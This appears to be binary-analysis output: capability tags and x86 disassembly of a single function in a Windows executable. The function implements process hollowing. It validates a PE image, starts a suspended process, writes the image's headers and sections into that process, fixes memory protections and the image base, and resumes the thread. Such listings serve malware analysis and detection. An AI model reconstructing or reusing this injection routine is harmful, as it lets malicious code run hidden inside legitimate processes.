Function at 0x40a18c
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd68
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404bd0
mov eax, dword [ebp - 8]
call fcn.00405494
xor eax, eax
push ebp
push 0x40a44c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 9], 0
xor eax, eax
push ebp
push 0x40a404
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [ebp - 8]
mov edx, ebx
lea eax, [ebp - 0x58]
mov ecx, 0x40
call fcn.0040a184
cmp word [ebp - 0x58], 0x5a4d
jne 0x40a3fa
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
lea edx, [eax + edx]
lea eax, [ebp - 0x150]
mov ecx, 0xf8
call fcn.0040a184
cmp dword [ebp - 0x150], 0x4550
jne 0x40a3fa
lea eax, [ebp - 0x1cc]
xor ecx, ecx
mov edx, 0x44
call fcn.004034d4
lea eax, [ebp - 0x188]
xor ecx, ecx
mov edx, 0x10
call fcn.004034d4
mov dword [ebp - 0x1cc], 0x44
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1cc]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404be0
push eax
push 0
call dword [0x412910]
test eax, eax
je 0x40a3fa
mov dword [ebp - 0x298], 0x10007
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call dword [0x412918]
test eax, eax
je 0x40a3fa
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call dword [0x412920]
push 4
push 0x3000
mov eax, dword [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call dword [0x412928]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xfc]
push eax
push ebx
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x188]
push eax
call dword [0x412930]
mov edi, dword [ebp - 0x1c]
add edi, 0xf8
movzx ebx, word [ebp - 0x14a]
dec ebx
test ebx, ebx
jl 0x40a3a5
inc ebx
xor esi, esi
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, esi
add eax, eax
add eax, eax
add eax, eax
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [ebp - 8]
add edx, eax
lea eax, [ebp - 0x178]
mov ecx, 0x28
call fcn.0040a184
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x168]
push eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x164]
add eax, edx
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call dword [0x412938]
lea eax, [ebp - 0x18]
push eax
push 0x40
mov eax, dword [ebp - 0x170]
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.kernel32.dll_VirtualProtectEx
inc esi
dec ebx
jne 0x40a31b
lea eax, [ebp - 0x14]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call dword [0x412940]
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x128]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call dword [0x412948]
mov eax, dword [ebp - 0x184]
push eax
call dword [0x412950]
mov byte [ebp - 9], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40a428
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a453
lea eax, [ebp - 8]
mov edx, dword [0x4099d4]
call fcn.00405430
lea eax, [ebp - 4]
call fcn.00404790
ret